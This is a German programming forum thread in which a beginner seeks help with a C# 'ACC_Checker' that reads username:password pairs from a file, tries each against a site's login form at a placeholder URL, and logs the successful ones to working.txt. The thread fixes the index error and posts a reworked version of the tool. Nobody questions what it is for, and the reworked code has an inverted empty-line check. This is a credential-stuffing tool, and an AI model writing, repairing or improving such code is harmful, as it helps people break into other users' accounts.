Programm wird nicht ausgeführt.



  • Fehler: (Zeile 14 / 33)
    IndexOutOfRangeException wurde nicht behandelt.

    Kriege das Problem nicht gelöst...

    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.IO;
    using System.Net;
    
    namespace ACC_Checker
    {
        class Program
        {
            static void Main(string[] args)
            {
                Console.Title = "ACC_Checker";
    
                //Existiert die Datei mit den Accounts?
                if (File.Exists("Accounts.txt"))
                {
                    //Accounts einlesen
                    Console.WriteLine("Lese accounts ein...");
                    List<Account> accounts = new List<Account>();
    
                    using (StreamReader sr = new StreamReader("Accounts.txt"))
                    {
                        while (sr.Peek() != -1)
                        {
                            string line = sr.ReadLine();
    
                            if (line != "")
                            {
                                Account account = new Account();
                                account.id = line.Split(':')[0];
                                account.pw = line.Split(':')[1];
                                accounts.Add(account);
                            }
                        }
    
                        sr.Close();
                    }
                    Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);
    
                    //Accounts überprüfen
                    Console.WriteLine("Überprüfe accounts...");
                    for (int i = 0; i < accounts.Count; i++)
                    {
                        try
                        {
                            Console.Write("Überprüfe account mit der ID: {0}", accounts[i].id);
                            string str = string.Format("login={0}&password={1}", accounts[i].id, accounts[i].pw);
    
                            HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://xxx.com/index.php?s=login");
                            req.Method = "POST";
                            req.ContentType = "application/x-www-form-urlencoded";
    
                            using (StreamWriter sw = new StreamWriter(req.GetRequestStream()))
                            {
                                sw.Write(str);
                                sw.Close();
                            }
    
                            HttpWebResponse res = (HttpWebResponse)req.GetResponse();
    
                            using (StreamReader sr = new StreamReader(res.GetResponseStream()))
                            {
                                string response = sr.ReadToEnd();
    
                                if (response.Contains("Login erfolgreich"))
                                {
                                    Console.ForegroundColor = ConsoleColor.Green;
                                    Console.WriteLine(" [OKAY]");
                                    using (StreamWriter sw = new StreamWriter("working.txt", true))
                                    {
                                        sw.WriteLine("{0}:{1}", accounts[i].id, accounts[i].pw);
                                        sw.Close();
                                    }
                                }
                                else
                                {
                                    Console.ForegroundColor = ConsoleColor.Red;
                                    Console.WriteLine(" [NICHT OKAY]");
                                }
    
                                sr.Close();
                            }
    
                            Console.ForegroundColor = ConsoleColor.Gray;
                        }
                        catch (System.Exception ex)
                        {
                            continue;
                        }
    
                    }
                }
                else
                {
                    Console.WriteLine("Die Datei Accounts.txt existiert nicht.");
                }
    
                Console.ReadLine();
            }
    
            struct Account
            {
                public string id;
                public string pw;
            }
        }
    }
    


  • Häng dich mit dem Debugger dran und schau, wo das Problem herkommt. IndexOutOfRange ist ein schönes Beispiel zum üben, sollte sehr einfach zu finden sein.



  • Ich habe jetzt versucht etwas zu verändern, aber dann bekomme ich einen anderen Fehler angezeigt, entweder Informiere ich mich falsch oder ich bin einfach zu blöd das zu Lösen 😕 😕

    Ist das der Fehler, der auswirkungen auf Zeile 33 hat?
    code="cs"]catch (System.Exception ex)[/code]

    Und kannst du mir nicht zeigen wie es richtig geht, dann Lerne ich es ja auch 🙂



  • Debuggen zu lernen ist sehr wichtig. Und ja, Zeile 33 könnte auf den ersten Blick definitiv damit zu tun haben.
    Hast du den Code zusammenkopiert? Wenn du ihn selber geschrieben hast, kann ich echt nicht glauben, dass du Probleme damit hast, den Fehler zu finden.



  • Ja, also ich sitze heute schon denn halben Tag daran...
    Ich bin noch nicht lange in der Programmier brance, habe mir das meiste davon auch heute angeeignet (Durch Tutorials und HowTo's), daher verstehe ich das noch nicht so ganz...



  • using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.IO;
    using System.Net;
    
    namespace ACC_Checker
    {
        class Program
        {
            static void Main(string[] args)
            {
                Console.Title = "ACC_Checker";
    
                //Existiert die Datei mit den Accounts?
                if (File.Exists("Accounts.txt"))
                {
                    //Accounts einlesen
                    Console.WriteLine("Lese accounts ein...");
                    List<Account> accounts = new List<Account>();
    
                    string[] lines = File.ReadAllLines("Accounts.txt");
    
                    foreach(string line in lines)
                    {
                        if (string.IsNullOrWhiteSpace(line))
                        {
                            Account account = new Account();
                            string[] temp = line.Split(':');
                            account.id = temp[0];
                            account.pw = temp[1];
                            accounts.Add(account);
                        }
                    }
    
                    Console.WriteLine("{0} account(s) wurden eingelesen.", accounts.Count);
    
                    //Accounts überprüfen
                    Console.WriteLine("Überprüfe accounts...");
                    foreach (Account account in accounts)
                    {
                        try
                        {
                            Console.Write("Überprüfe account mit der ID: {0}", account.id);
                            string str = string.Format("login={0}&password={1}", account.id, account.pw);
    
                            HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://xxx.com/index.php?s=login");
                            req.Method = "POST";
                            req.ContentType = "application/x-www-form-urlencoded";
    
                            using (var stream = req.GetRequestStream())
                            {
                                byte[] data = Encoding.ASCII.GetBytes(str);
                                stream.Write(data, 0, data.Length);
                            }
    
                            HttpWebResponse res = (HttpWebResponse)req.GetResponse();
    
                            using (StreamReader sr = new StreamReader(res.GetResponseStream()))
                            {
                                string response = sr.ReadToEnd();
    
                                if (response.Contains("Login erfolgreich"))
                                {
                                    Console.ForegroundColor = ConsoleColor.Green;
                                    Console.WriteLine(" [OKAY]");
                                    using (StreamWriter sw = new StreamWriter("working.txt", true))
                                    {
                                        sw.WriteLine("{0}:{1}", account.id, account.pw);
                                    }
                                }
                                else
                                {
                                    Console.ForegroundColor = ConsoleColor.Red;
                                    Console.WriteLine(" [NICHT OKAY]");
                                }
                            }
    
                            Console.ForegroundColor = ConsoleColor.Gray;
                        }
                        catch (System.Exception ex)
                        {
                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("[Fehler] " + ex.Message);
                            Console.ForegroundColor = ConsoleColor.Gray;
                        }
    
                    }
                }
                else
                {
                    Console.WriteLine("Die Datei Accounts.txt existiert nicht.");
                }
    
                Console.ReadLine();
            }
    
            struct Account
            {
                public string id;
                public string pw;
            }
        }
    }
    

Anmelden zum Antworten